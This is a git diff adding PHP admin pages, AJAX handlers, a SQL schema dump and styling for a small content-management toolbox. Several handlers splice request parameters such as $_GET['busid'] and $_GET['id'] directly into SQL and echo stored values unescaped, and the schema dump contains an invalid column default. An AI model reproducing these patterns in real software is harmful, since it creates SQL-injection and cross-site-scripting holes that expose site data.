+$select_part[] = "image";
+$select_part[] = "imagename";
+$select_part[] = "keyword";
+$select_part[] = "template";
+$select_part[] = "pos";
+$select_part[] = "section_links";
+$select_part[] = "title";
+$select_part[] = "meta_descr";
+if (isset($id)) {
+    if (is_array($select_part)) {
+        $selects = implode(",", $select_part);
+    }
+    $sql = "
+    SELECT id,$selects
+    FROM   bus_category
+    WHERE id = $id ";
+    if (!$res = $DB->db_exec($sql)) {
+        GLM_TOOLBOX::html_error(DB_ERROR_MSG,1);
+    }
+    $row = $DB->db_fetch_array($res,0, PGSQL_ASSOC);
+    if (!$row[id]){
+        GLM_TOOLBOX::html_error(DB_ERROR_MSG,1);
+    }
+} else {
+    if (is_array($select_part)) {
+        foreach ($select_part as $fieldrow) {
+            $row[$fieldrow] = ($fieldrow == 'template') ? "1": "";
+        }
+    }
+}
+if (defined("MEMBERS_DB") && MEMBERS_DB == 1) {
+    $memb_types_all = get_memb_all_types(&$DB);
+    if ($memb_data = get_memb_types(&$DB)) {
+        $member_sel = '<select id="memb_type" name="memb_type">';
+            $member_sel .= '<option value=""></option>';
+            foreach($memb_data as $memb_id => $memb_name) {
+                $member_sel .= '<option value="'.$memb_id.'">'.$memb_name.'</option>';
+            }
+            $member_sel .= '</select>';
+    }
+    if ($id) {
+        $query = "select * from bus_cat_member where catid = $id;";
+        if ($bcmData = $DB->db_auto_get_data($query)) {
+            foreach($bcmData as $bcmRow) {
+                $bus_cat_member_text .= '<div>';
+                $bus_cat_member_text .= '<a href="#" style="font-size:9pt;" onClick="$(this).parent().html(\'\');return false;">Delete</a>';
+                $bus_cat_member_text .= $memb_types_all[$bcmRow['memb_type']];
+                $bus_cat_member_text .= '<input type="hidden" name="member_cats[]" value="'.$bcmRow['memb_type'].'">';
+                $bus_cat_member_text .= '</div>';
+            }
+        }
+    }
+}
+echo '<script type="text/javascript" src="'.GLM_APP_BASE_URL.'ckeditor/current/ckeditor.js"></script>';
+echo '<form id="myForm" action="update_bus_category.phtml" method="POST" enctype="multipart/form-data">';
+echo '<table id="admin-edit-table">';
+if (defined("MEMBERS_DB") && MEMBERS_DB == 1) {
+    echo '<tr onclick="if ($(this).next().css(\'display\')==\'none\'){$(this).next().show();}else{$(this).next().hide();}return(false);">
+        <th colspan="2" style="background-color:#61614d;color:#ffffff;text-align:center;text-decoration:underline;cursor:pointer;">Link to Member Listing (click to show/hide)</th>
+    </tr>';
+    echo '<tr>';
+    echo '<td>Current Member-Links</td>';
+    echo '<td style="border:#61614d solid 1px;"><div id="list-members-info">'.$bus_cat_member_text.'</div></td>';
+    echo '</tr>';
+    echo '<tr>';
+    echo '<td>Link to Member Listing</td>';
+    echo '<td> <div id="add-member-area"><a style="float:right;" href="#" id="add-member">Add Member Link</a></div></td>';
+    echo '</tr>';
+}
+
+foreach ($row as $key => $value) {
+    switch ($key) {
+    // {{{ case "id":
+    case "id":
+        echo "<input type=\"hidden\" name=\"id\" value=\"$value\">";
+        break;
+    // }}}
+    // {{{ case "pos":
+    case "pos":
+        echo "<input type=\"hidden\" name=\"oldpos\" value=\"$value\">";
+        break;
+    // }}}
+    // {{{ case "section_links":
+    case "section_links":
+    echo '<tr><td>Search</td>';
+        $output = '<label><input type="checkbox" name="section_links" value="t"';
+        if ($value == 't'){
+            $output .= ' checked';
+        }
+        $output .= '>Create a list of links to the paragraph headlines</label>';
+        echo '<td>'.$output.'</td>';
+        echo '</tr>';
+        break;
+    // }}}
+    // {{{ case "no_search_form":
+    case "no_search_form":
+    echo '<tr><td>Search</td>';
+        $output = '<label><input type="checkbox" name="no_search_form" value="t"';
+        if ($value == 't'){
+            $output .= ' checked';
+        }
+        $output .= '>No Search Required</label>';
+        echo '<td>'.$output.'</td>';
+        echo '</tr>';
+        break;
+    // }}}
+    // {{{ case "featured":
+    case "featured":
+        echo '<tr><td>Home Page Headlines</td>';
+        $output = '<label><input type="checkbox" name="featured" value="t"';
+        if ($value == 't'){
+            $output .= ' checked';
+        }
+        $output .= '> Home Page Headlines</label><br clear="all">';
+        $output .= '<table>
+            <tr><td>Headline&nbsp;Intro:</td>';
+        $output .= '<td><input size="35" id="feature_intro"
+                name="feature_intro" value="'.htmlspecialchars($row['feature_intro']).'"></td>';
+        $output .= '</tr>
+            </table>';
+        echo '<td>'.$output.'</td>';
+        echo '</tr>';
+        break;
+    // }}}
+    // {{{ case "feature_intro":
+    case "feature_intro":
+        break;
+    // }}}
+    // {{{ case "parent":
+    case "parent":
+        echo "<tr><td>
+            <input type=\"hidden\" name=\"oldparent\" value=\"$value\">
+            Parent&nbsp;Page:</td>";
+        $output = parent_select($value,$id);
+        echo "<td>".$output."</td>";
+        echo "</tr>";
+        break;
+    // }}}
+    // {{{ case "category":
+    case "category":
+        echo "<tr><td>Navigation&nbsp;Name:</td>";
+        GLM_TOOLBOX::text_box("category",$value);
+        echo "</tr>";
+        break;
+    // }}}
+    // {{{ case "imagename":
+    case "imagename":
+        echo "<tr><td>Image&nbsp;Caption:</td>";
+        GLM_TOOLBOX::text_box("imagename",$value);
+        echo "</tr>";
+        break;
+    // }}}
+    // {{{ case "intro":
+    case "intro":
+        echo "<tr><td>Page&nbsp;Title:</td>";
+        GLM_TOOLBOX::text_box("intro",$value);
+        echo "</tr>";
+        break;
+    // }}}
+    // {{{ case "image":
+    case "image":
+        echo "<tr><td>Current&nbsp;Image:</td>";
+        echo "<td>
+            <input type=\"hidden\" name=\"oldimage\" value=\"$value\">";
+        if ($value != "") {
+            echo "<img src=\"".MIDSIZED."$value\">
+            </td>
+            <tr>
+                <td >Delete this image:</td>
+                <td>
+                    <input type=\"radio\" name=\"delete\" value=\"1\">Yes
+                    <input type=\"radio\" name=\"delete\" value=\"2\" CHECKED>No
+                </td>
+            </tr>";
+        }
+        echo "<tr><td>
+                New Image:</td><td><input type=\"file\" name=\"image\"></td></tr>";
+        break;
+    // }}}
+    // {{{ case "description":
+    case "description":
+        echo "<tr><td>Description:</td>";
+        echo '<td><textarea name="description" id="description" cols="60" rows="60">'.$value.'</textarea></td>';
+        echo "</tr>";
+        break;
+    // }}}
+    // {{{ case "keyword":
+    case "keyword":
+        echo "<tr><td><font color=red>Keyword:</font></td>";
+        GLM_TOOLBOX::text_box("keyword",$value);
+        echo "</tr>";
+        break;
+    // }}}
+    // {{{ case "short_url":
+    case "short_url":
+        echo '<tr>
+        <td>Short URL:</td>
+        <td>'.BASE_URL.'<input name="short_url" value="'.$row['short_url'].'">/<br>
+            NOTE:  Short URL\'s Must not contain any spaces or non alpha characters.<br>
+            Only a-z 0-9 _(underscore) -(dash) allowed.
+        </td>
+        </tr>';
+        break;
+    // }}}
+    // {{{ case "template":
+    case "template":
+        echo "<tr><td>Templates:</td>";
+        echo '<td>
+            <table style="padding:5px;margin:0;border:none;">
+                ';
+        echo '<tr>';
+        for($i = 1; $i <= 6; ++$i):
+            echo '
+            <th>Template'.$i.'</th>
+            ';
+        endfor;
+        echo '</tr>
+        ';
+        echo '<tr>';
+        for($i = 1; $i <= 6; ++$i):
+            echo '
+            <td><label for="temp'.$i.'"><img src="../template'.$i.'.gif"></label></td>
+            ';
+        endfor;
+        echo '</tr>
+        ';
+        echo '<tr>';
+        for($i = 1; $i <= 6; ++$i):
+            echo '
+            <td>'.$i.'<input type="radio" id="temp'.$i.'" name="template" value="'.$i.'"'.(($value == $i) ? 'checked':'').'></td>
+            ';
+        endfor;
+        echo '</tr>
+                </table>
+            </td>
+        </tr>';
+        break;
+    // }}}
+    // {{{ case "title":
+    case "title":
+        if ((GLM_HOST_ID == 'PRODUCTION' && $_SERVER['PHP_AUTH_USER'] == 'MediaAdmin')
+               || GLM_HOST != 'PRODUCTION') {
+            echo "<tr><td>Title Tag:</td>";
+            GLM_TOOLBOX::text_box("title", $value);
+            echo "</tr>";
+        } else {
+            echo '<input type="hidden" name="meta_descr" value="'.htmlspecialchars($value).'">';
+        }
+        break;
+    // }}}
+    // {{{ case "meta_descr":
+    case "meta_descr":
+       if ((GLM_HOST_ID == 'PRODUCTION' && $_SERVER['PHP_AUTH_USER'] == 'MediaAdmin')
+               || GLM_HOST != 'PRODUCTION') {
+            echo '<tr>
+                <td valign="top">Meta&nbsp;Description:</td>
+                <td>
+                    <textarea name="meta_descr" cols="40" rows="5">'.htmlspecialchars($value).'</textarea>
+                </td>
+              </tr>';
+        } else {
+            echo '<input type="hidden" name="meta_descr" value="'.htmlspecialchars($value).'">';
+        }
+        break;
+    // }}}
+    // {{{ case "region":
+    case "region":
+        $regionsArray[''] = '-- Counties --';
+        $sql = "
+        SELECT *
+          FROM region
+      ORDER BY region_name";
+        try {
+            $stmt = $dbh->query($sql);
+            while ($regionRow = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                if (!is_numeric($regionRow['region_name'])) {
+                    $regionsArray[$regionRow['region_id']] = $regionRow['region_name'];
+                }
+            }
+        } catch(PDOException $e) {
+            Toolkit_Common::handleError($e);
+        }
+        echo "<tr><td>Counties:</td>";
+        echo '<td>'.GLM_TOOLBOX::build_picklist('region', $regionsArray, $value).'</td>';
+        echo "</tr>";
+        break;
+    // }}}
+    // {{{ default:
+    default:
+        GLM_TOOLBOX::html_error("Incorrect Value -> ".$key,1);
+        break;
+    // }}}
+    }
+}
+echo '<script type="text/javascript" src="./cktoolbox.js"></script>';
+if (defined("MEMBERS_DB") && MEMBERS_DB == 1) {
+    echo '<script type="text/javascript" src="./member-toolbox.js"></script>
+    ';
+}
+if (isset($id)) {
+    $qs = "SELECT     count(*) as count
+    FROM     bus_category_bus
+    WHERE    catid = $id";
+
+    if (!$res = $DB->db_exec($qs)) {
+        GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs,0);
+    }
+
+    $row = $DB->db_fetch_array($res,0,PGSQL_ASSOC);
+    echo '<tr><td colspan=2>
+            <input type="submit" name="Command" value="Update">
+            <input type="submit" name="Command" value="Cancel">
+            ';
+    if (defined("CAT_LOCK") && !CAT_LOCK && !check_lock($id)) {
+        echo '
+        <input type="submit" name="Command" value="Delete" onClick="';
+        if ($row[count] == 0) {
+            echo '
+            if (confirm(\'This will delete this category!\n Are you sure?\'))
+            return(true);
+            else
+            return(false);
+            ';
+        } else {
+            echo 'alert(\'You have to remove any records in\n this category first\');
+            return(false);
+            ';
+        }
+        echo '">
+        ';
+    }
+    echo '</td></tr>';
+} else {
+    GLM_TOOLBOX::form_footer("Insert", "", 2);
+}
+echo "</table></form>";
+GLM_TOOLBOX::footer();
+?>
diff --git a/admin/Toolbox/expand.png b/admin/Toolbox/expand.png
new file mode 100755 (executable)
index 0000000..38dcfc0
Binary files /dev/null and b/admin/Toolbox/expand.png differ
diff --git a/admin/Toolbox/export-images-is0.php b/admin/Toolbox/export-images-is0.php
new file mode 100755 (executable)
index 0000000..2d743a9
--- /dev/null
@@ -0,0 +1,82 @@
+<?php
+require_once '../../setup.phtml';
+require_once BASE.'Toolkit/Image/Server.php';
+define('OLDORG', 'http://www.gaslightmedia.com/images/original/');
+$sql = "
+SELECT id,image
+FROM bus_category
+WHERE image != ''
+ORDER BY id";
+//$sql .= " LIMIT 1 OFFSET 0";
+$pre1 = "
+SELECT id,image
+FROM bus
+WHERE image != ''";
+//$pre1 .= " LIMIT 1 OFFSET 0";
+try {
+    $stmt  = $dbh->query($sql);
+    $data  = $stmt->fetchAll(PDO::FETCH_ASSOC);
+    $stmt2 = $dbh->query($pre1);
+    $data2 = $stmt2->fetchAll(PDO::FETCH_ASSOC);
+    echo '<pre>';
+    print_r($data);
+    print_r($data2);
+    echo '</pre>';
+} catch(PDOException $e) {
+    die($e->getMessage());
+}
+$dbh->beginTransaction();
+$IServer = new Toolkit_Image_Server();
+if (is_array($data)) {
+    $prep2 = "
+    UPDATE bus_category
+    SET    image = :image
+    WHERE  id = :id";
+    $stmt3 = $dbh->prepare($prep2);
+
+    foreach ($data as &$row) {
+        $image_URL = OLDORG.$row['image'];
+        //die($image_URL);
+        $image = $IServer->imageUpload($image_URL);
+        if ($image) {
+            try {
+                $stmt3->bindParam(":image", $image, PDO::PARAM_STR);
+                $stmt3->bindParam(":id", $row['id'], PDO::PARAM_INT);
+                $stmt3->execute();
+            } catch(PDOException $e) {
+                die($e->getMessage());
+            }
+        }
+        echo '<br>Image Name Returned: ';
+        var_dump($image);
+    }
+}
+if (is_array($data2)) {
+    $prep3 = "
+    UPDATE bus
+    SET    image = :image
+    WHERE  id = :id";
+    $stmt4 = $dbh->prepare($prep3);
+    foreach ($data2 as &$row2) {
+        echo '<pre>'.print_r($row2, true).'</pre>';
+        if (preg_match("/^is/",$row2['image'])) {
+            continue;
+        }
+        $image_URL = OLDORG.$row2['image'];
+        echo '<pre>'.print_r($image_URL, true).'</pre>';
+        $image = $IServer->imageUpload($image_URL);
+        if ($image) {
+            try {
+                $stmt4->bindParam(":image", $image, PDO::PARAM_STR);
+                $stmt4->bindParam(":id", $row2['id'], PDO::PARAM_INT);
+                $stmt4->execute();
+            } catch(PDOException $e) {
+                die($e->getMessage());
+            }
+        }
+        echo '<br>Image Name Returned: ';
+        var_dump($image);
+    }
+}
+$dbh->commit();
+?>
diff --git a/admin/Toolbox/file-repos-xml.php b/admin/Toolbox/file-repos-xml.php
new file mode 100644 (file)
index 0000000..1d947bf
--- /dev/null
@@ -0,0 +1,29 @@
+<?php
+header("Content-Type: text/plain\n");
+Header('Cache-Control: no-cache');
+Header('Pragma: no-cache');
+include_once("../../setup.phtml");
+include_once("toolbox_setup.inc");
+$DB->db_exec( "BEGIN WORK;" );
+if( $_GET['oldpos'] < $_GET['newpos'] )
+{
+       $query = "update files 
+               set pos = pos - 1 
+               where bus_id = ".$_GET['busid']." 
+               and pos > ".$_GET['oldpos']."
+               and pos <= ".$_GET['newpos']." ";
+       $DB->db_exec( $query );
+       $DB->db_exec( "update files set pos = ".$_GET['newpos']." where id = ".$_GET['id'] );
+}
+else
+{
+       $query = "update files 
+               set pos = pos + 1 
+               where bus_id = ".$_GET['busid']." 
+               and pos >= ".$_GET['newpos']."
+               and pos < ".$_GET['oldpos']." ";
+       $DB->db_exec( $query );
+       $DB->db_exec( "update files set pos = ".$_GET['newpos']." where id = ".$_GET['id'] );
+}
+$DB->db_exec( "COMMIT WORK;" );
+?>
diff --git a/admin/Toolbox/file-xml.php b/admin/Toolbox/file-xml.php
new file mode 100644 (file)
index 0000000..f54c5f8
--- /dev/null
@@ -0,0 +1,60 @@
+<?php
+header("Content-Type: text/plain\n");
+header('Cache-Control: no-cache');
+header('Pragma: no-cache');
+include_once("../../setup.phtml");
+include_once("toolbox_setup.inc");
+$out = '';
+$query = "select * from files where bus_id = ".$_GET['id']." order by pos;";
+if( $file_data = $DB->db_auto_get_data( $query ) )
+{
+       $total = count( $file_data );
+       for( $i = 1; $i <= $total; $i++ )
+       {
+               $poses[$i] = $i;
+       }
+       foreach( $file_data as $file_row )
+       {
+               $filename = ($file_row['urltext']) ? $file_row['urltext']: $file_row['filename'];
+               $out .= '<div class="fileupload">
+                       <p><strong>File '.$file_row["pos"].':</strong>
+                       <!--<button class="file-edit-button" id="edit-file-'.$file_row['id'].'">Edit</button>-->
+                       <input type="hidden" name="oldfile['.$file_row['id'].']" value="'.$file_row['filename'].'">
+                       <a target="_blank" href="'.BASE_URL.'uploads/'.$file_row['filename'].'">'.$filename.'</a></p>';
+               $out .= '<div id="file-edit-div-'.$file_row['id'].'" class="file_div" ><br clear="all">';
+               if( is_array( $poses ) )
+               {
+                       $out .= '<input type="hidden" name="filename_poshide'.$file_row["id"].'" value="'.$file_row["pos"].'">
+                       <select onChange="update_file_pos( '.$_GET["id"].', '.$file_row["id"].', '.$file_row["pos"].', this.options[this.selectedIndex].value );" name="filename_pos['.$file_row["id"].']" class="filepos">';
+                       foreach( $poses as $posval )
+                       {
+                               $out .= '<option value="'.$posval.'"'.(($posval == $file_row["pos"])?"selected":"").'>'.$posval.'</option>';
+                       }
+                       $out .= '</selected>';
+               }
+               $out .= '
+                               <br clear="all"><strong>File: </strong>
+               '.$file_row['filename'].' ('.$file_row['bytes'].' bytes)<br>
+               <strong>Update File: </strong>
+               <input type="file" name="file_new['.$file_row['id'].']"><br>
+               <strong>File URL text: </strong>
+               <input name="filename_urltext['.$file_row['id'].']" value="'.$file_row['urltext'].'" size="50">
+               <br>
+               <label>
+                 <strong>Delete: </strong>
+                 <input type="checkbox" id="'.$file_row['filename'].'" name="delete[]" value="'.$file_row['id'].'"> Yes
+               </label>
+               </div>
+       </div><br clear="all">
+       <script type="text/javascript">
+               var button_'.$file_row['id'].' = document.getElementById(\'edit-file-'.$file_row['id'].'\');
+               button_'.$file_row['id'].'.onclick = function()
+               {
+                       document.getElementById(\'file-edit-div-'.$file_row['id'].'\').style.display = \'block\';
+                       return( false );
+               }
+       </script>';
+       }
+}
+echo $out;
+?>
diff --git a/admin/Toolbox/file_load.js b/admin/Toolbox/file_load.js
new file mode 100644 (file)
index 0000000..6192717
--- /dev/null
@@ -0,0 +1,5 @@
+function add_file()
+{
+       var myForm = document.getElementById('myForm');
+       var newFile = document.createElement('fileUpload');
+}
diff --git a/admin/Toolbox/files.sql b/admin/Toolbox/files.sql
new file mode 100644 (file)
index 0000000..b148ca5
--- /dev/null
@@ -0,0 +1,63 @@
+--
+-- PostgreSQL database dump
+--
+
+SET client_encoding = 'SQL_ASCII';
+SET check_function_bodies = false;
+
+SET SESSION AUTHORIZATION 'postgres';
+
+SET search_path = public, pg_catalog;
+
+--
+-- TOC entry 3 (OID 15572607)
+-- Name: files; Type: TABLE; Schema: public; Owner: postgres
+--
+
+CREATE TABLE files (
+    id serial NOT NULL,
+    filename text,
+    bytes integer,
+    "type" text,
+    urltext text,
+    bus_id integer,
+       pos integer DEFAULT >= 1
+);
+
+
+--
+-- TOC entry 4 (OID 15572607)
+-- Name: files; Type: ACL; Schema: public; Owner: postgres
+--
+
+REVOKE ALL ON TABLE files FROM PUBLIC;
+GRANT ALL ON TABLE files TO nobody;
+
+
+--
+-- TOC entry 5 (OID 15572607)
+-- Name: files_id_seq; Type: ACL; Schema: public; Owner: postgres
+--
+
+REVOKE ALL ON TABLE files_id_seq FROM PUBLIC;
+GRANT ALL ON TABLE files_id_seq TO nobody;
+
+
+--
+-- TOC entry 6 (OID 15572613)
+-- Name: files_pkey; Type: CONSTRAINT; Schema: public; Owner: postgres
+--
+
+ALTER TABLE ONLY files
+    ADD CONSTRAINT files_pkey PRIMARY KEY (id);
+
+
+--
+-- TOC entry 7 (OID 15572619)
+-- Name: $1; Type: FK CONSTRAINT; Schema: public; Owner: postgres
+--
+
+ALTER TABLE ONLY files
+    ADD CONSTRAINT "$1" FOREIGN KEY (bus_id) REFERENCES bus(id) ON DELETE CASCADE;
+
+
diff --git a/admin/Toolbox/htmlarea.css b/admin/Toolbox/htmlarea.css
new file mode 100644 (file)
index 0000000..23bdf7d
--- /dev/null
@@ -0,0 +1,180 @@
+.htmlarea { background: #fff; }
+
+.htmlarea .toolbar {
+  cursor: default;
+  background: ButtonFace;
+  padding: 1px 1px 2px 1px;
+  border: 1px solid;
+  border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+.htmlarea .toolbar table { font-family: tahoma,verdana,sans-serif; font-size: 11px; }
+.htmlarea .toolbar img { border: none; }
+.htmlarea .toolbar .label { padding: 0px 3px; }
+
+.htmlarea .toolbar .button {
+  background: ButtonFace;
+  color: ButtonText;
+  border: 1px solid ButtonFace;
+  padding: 1px;
+  margin: 0px;
+}
+.htmlarea .toolbar .buttonHover {
+  border: 1px solid;
+  border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+.htmlarea .toolbar .buttonActive, .htmlarea .toolbar .buttonPressed {
+  padding: 2px 0px 0px 2px;
+  border: 1px solid;
+  border-color: ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
+}
+.htmlarea .toolbar .buttonPressed {
+  background: ButtonHighlight;
+}
+.htmlarea .toolbar .indicator {
+  padding: 0px 3px;
+  overflow: hidden;
+  width: 20px;
+  text-align: center;
+  cursor: default;
+  border: 1px solid ButtonShadow;
+}
+
+.htmlarea .toolbar .buttonDisabled { background-color: #aaa; }
+
+.htmlarea .toolbar .buttonDisabled img {
+  filter: alpha(opacity = 25);
+  -moz-opacity: 25%;
+}
+
+.htmlarea .toolbar .separator {
+  position: relative;
+  margin: 3px;
+  border-left: 1px solid ButtonShadow;
+  border-right: 1px solid ButtonHighlight;
+  width: 0px;
+  height: 16px;
+  padding: 0px;
+}
+
+.htmlarea .toolbar .space { width: 5px; }
+
+.htmlarea .toolbar select { font: 11px Tahoma,Verdana,sans-serif; }
+
+.htmlarea .toolbar select,
+.htmlarea .toolbar select:hover,
+.htmlarea .toolbar select:active { background: FieldFace; color: ButtonText; }
+
+.htmlarea .statusBar {
+  border: 1px solid;
+  border-color: ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
+  padding: 2px 4px;
+  background-color: ButtonFace;
+  color: ButtonText;
+  font: 11px Tahoma,Verdana,sans-serif;
+}
+
+.htmlarea .statusBar .statusBarTree a {
+  padding: 2px 5px;
+  color: #00f;
+}
+
+.htmlarea .statusBar .statusBarTree a:visited { color: #00f; }
+.htmlarea .statusBar .statusBarTree a:hover {
+  background-color: Highlight;
+  color: HighlightText;
+  padding: 1px 4px;
+  border: 1px solid HighlightText;
+}
+
+
+/* Hidden DIV popup dialogs (PopupDiv) */
+
+.dialog {
+  color: ButtonText;
+  background: ButtonFace;
+}
+
+.dialog .content { padding: 2px; }
+
+.dialog, .dialog button, .dialog input, .dialog select, .dialog textarea, .dialog table {
+  font: 11px Tahoma,Verdana,sans-serif;
+}
+
+.dialog table { border-collapse: collapse; }
+
+.dialog .title {
+  background: #008;
+  color: #ff8;
+  border-bottom: 1px solid #000;
+  padding: 1px 0px 2px 5px;
+  font-size: 12px;
+  font-weight: bold;
+  cursor: default;
+}
+
+.dialog .title .button {
+  float: right;
+  border: 1px solid #66a;
+  padding: 0px 1px 0px 2px;
+  margin-right: 1px;
+  color: #fff;
+  text-align: center;
+}
+
+.dialog .title .button-hilite { border-color: #88f; background: #44c; }
+
+.dialog button {
+  width: 5em;
+  padding: 0px;
+}
+
+.dialog .buttonColor {
+  padding: 1px;
+  cursor: default;
+  border: 1px solid;
+  border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+
+.dialog .buttonColor-hilite {
+  border-color: #000;
+}
+
+.dialog .buttonColor .chooser, .dialog .buttonColor .nocolor {
+  height: 0.6em;
+  border: 1px solid;
+  padding: 0px 1em;
+  border-color: ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
+}
+
+.dialog .buttonColor .nocolor { padding: 0px; }
+.dialog .buttonColor .nocolor-hilite { background-color: #fff; color: #f00; }
+
+.dialog .label { text-align: right; width: 6em; }
+.dialog .value input { width: 100%; }
+.dialog .buttons { text-align: right; padding: 2px 4px 0px 4px; }
+
+.dialog legend { font-weight: bold; }
+.dialog fieldset table { margin: 2px 0px; }
+
+.popupdiv {
+  border: 2px solid;
+  border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+
+.popupwin {
+  padding: 0px;
+  margin: 0px;
+}
+
+.popupwin .title {
+  background: #fff;
+  color: #000;
+  font-weight: bold;
+  font-size: 120%;
+  padding: 3px 10px;
+  margin-bottom: 10px;
+  border-bottom: 1px solid black;
+  letter-spacing: 2px;
+}
+
+form { margin: 0px; border: none; }
diff --git a/admin/Toolbox/images/collapse.png b/admin/Toolbox/images/collapse.png
new file mode 100755 (executable)
index 0000000..d10e051
Binary files /dev/null and b/admin/Toolbox/images/collapse.png differ
diff --git a/admin/Toolbox/images/expand.png b/admin/Toolbox/images/expand.png
new file mode 100755 (executable)
index 0000000..38dcfc0
Binary files /dev/null and b/admin/Toolbox/images/expand.png differ
diff --git a/admin/Toolbox/index.phtml b/admin/Toolbox/index.phtml
new file mode 100755 (executable)
index 0000000..550afb8
--- /dev/null
@@ -0,0 +1,3 @@
+<?
+header("Location: list_bus_category.phtml");
+?>
diff --git a/admin/Toolbox/jake-handler.js b/admin/Toolbox/jake-handler.js
new file mode 100644 (file)
index 0000000..efd60c1
--- /dev/null
@@ -0,0 +1,49 @@
+function getHTTPObject()
+{
+   var http = false;
+
+   if (window.XMLHttpRequest) { // Mozilla, Safari,...
+       http = new XMLHttpRequest();
+       if (http.overrideMimeType) {
+           http.overrideMimeType('text/html');
+       }
+   } else if (window.ActiveXObject) { // IE
+       try {
+           http = new ActiveXObject("Msxml2.XMLHTTP");
+       } catch (e) {
+           try {
+               http = new ActiveXObject("Microsoft.XMLHTTP");
+           } catch (e) {}
+       }
+   } 
+       return http; 
+} 
+function get_files( id )
+{
+       var http = getHTTPObject(); // We create the HTTP Object
+       var url = "file-xml.php?id=" + id + "&ms=";
+       http.open("GET", url + "&ms=" + new Date().getTime(),true);
+       http.onreadystatechange = function()
+       {
+               if(http.readyState == 4)
+               {
+                       document.getElementById('file-uploads').innerHTML = http.responseText;
+               }
+       }
+       http.send(null);
+}
+function update_file_pos( busid, id, oldpos, newpos )
+{
+       var http = getHTTPObject(); // We create the HTTP Object
+       var url = "file-repos-xml.php?busid=" + busid + "&id=" + id + "&oldpos=" + oldpos + "&newpos=" + newpos;
+       http.open("GET", url + "&ms=" + new Date().getTime(),true);
+       http.onreadystatechange = function()
+       {
+               if(http.readyState == 4)
+               {
+                       document.getElementById('file-uploads-data').innerHTML = http.responseText;
+                       get_files( busid );
+               }
+       }
+       http.send(null);
+}
diff --git a/admin/Toolbox/list_bus.phtml b/admin/Toolbox/list_bus.phtml
new file mode 100755 (executable)
index 0000000..d3f3974
--- /dev/null
@@ -0,0 +1,80 @@
+<?php
+include_once "../../setup.phtml";
+include_once 'toolbox_setup.inc';
+$qs = "SELECT  category
+               FROM    bus_category
+               WHERE   id = $catid";
+if(!$catres = $DB->db_exec($qs)) 
+{
+       GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs,1);
+}
+$catrow = $DB->db_fetch_array($catres,0,PGSQL_ASSOC);
+$qs =  "SELECT         b.id,b.name,bcb.pos
+               FROM    bus b,bus_category_bus bcb
+           WHERE       bcb.catid = $catid
+               AND             b.id = bcb.busid
+               AND             bcb.catid = $catid
+               ORDER BY bcb.pos";
+if(!$res = $DB->db_exec($qs)) 
+{
+       GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs,1);
+}
+GLM_TOOLBOX::top("$catrow[category] Paragraphs", HELP_BASE."bus.phtml?key=list","ToolboxUserGuide_2.0");
+$toolbox_nav["Add New Paragraph"] = "edit_bus.phtml?catid=$catid";
+unset($toolbox_nav["Add A New Page"]);
+GLM_TOOLBOX::html_nav_table($toolbox_nav, 6);
+echo '<form action="update_bus.phtml" method="POST">
+<table id="admin-list-table">
+<tr>
+<th> Function </th>
+<th> Records </th>
+</tr>';
+for($i = 0; $i < $DB->db_numrows($res); $i++) 
+{
+       $row = $DB->db_fetch_array($res,$i, PGSQL_ASSOC); 
+       echo '<tr>
+       <td class="navtd2" nowrap="nowrap">
+       <a href="edit_bus.phtml?id='.$row["id"].'&catid='.$catid.'">[Edit]</a>';
+       $qs = "SELECT   MAX(bus_category_bus.pos) as maxpos 
+                  FROM         bus LEFT OUTER JOIN bus_category_bus ON (bus.id = bus_category_bus.busid) 
+                  WHERE        bus_category_bus.catid = $catid;";
+       if(!$maxresult = $DB->db_exec($qs)) 
+       {
+               GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs,0);
+       }
+       $max_data = $DB->db_fetch_array($maxresult,0,PGSQL_ASSOC);
+       $maxpos = $max_data[maxpos];
+       $qs = "SELECT   bcb.id
+                  FROM         bus_category_bus bcb,bus b 
+                  WHERE        bcb.catid = $catid
+                  AND          b.id = bcb.busid
+                  AND          b.id = $row[id]
+                  AND          bcb.busid = b.id
+                  ";
+
+       if(!$idres = $DB->db_exec($qs)) 
+       {
+               GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs,0);
+       }
+       $idrow = $DB->db_fetch_array($idres,0,PGSQL_ASSOC);
+       $pos = '<select name="pos" style="font-size:12px;" onChange="location.href=this[this.selectedIndex].value;" size="1">';
+       for($newpos=1;$newpos<=$maxpos;$newpos++) 
+       {
+               $string = "Command=Move&id=$idrow[id]&newpos=$newpos&catid=$catid";
+               $pos .= "<option value=\"update_bus.phtml?$string\"";
+               if($newpos == $row[pos]) 
+               {
+                       $pos .= " selected";
+               }
+               $pos .= ">$newpos\n";
+       }
+       $pos .= "</select>";
+       echo $pos;
+       echo '</td>
+       <td class="navtd2" width="80%">'.$row["name"].'</td>
+       </tr>';
+}
+echo '</table>
+</form>';
+GLM_TOOLBOX::footer();
+?>
diff --git a/admin/Toolbox/list_bus_category.phtml b/admin/Toolbox/list_bus_category.phtml
new file mode 100755 (executable)
index 0000000..a4e9d76
--- /dev/null
@@ -0,0 +1,229 @@
+<?php
+session_start();
+session_register("expanded");
+if( is_numeric( $_GET['expand'] ) ) {
+       // code for adding expanded 
+       $expanded[$_GET['expand']] = $_GET['expand'];
+}
+if( is_numeric( $fold ) ) {
+       // code for folding 
+       $oldexp = $expanded;
+       session_unregister("expanded");
+       unset($oldexp[$fold]);
+       $expanded = $oldexp; 
+       session_register("expanded");
+}
+require_once "../../setup.phtml";
+require_once BASE."classes/class_toolbox.inc";
+require_once "toolbox_setup.inc";
+GLM_TOOLBOX::top("Pages (List)",HELP_BASE."buscat.phtml?key=list","ToolboxUserGuide_2.0");
+echo '<div id="toolbox-list-cat">';
+if(isset($active)) {
+       if($active=="t") {
+               $nd = "f";
+       } else {
+               $nd = "y";
+       }
+       $query = "UPDATE bus_category SET active = '$nd' WHERE id = $id";
+       $DB->db_exec($query);
+       GLM_TOOLBOX::create_sitemap();
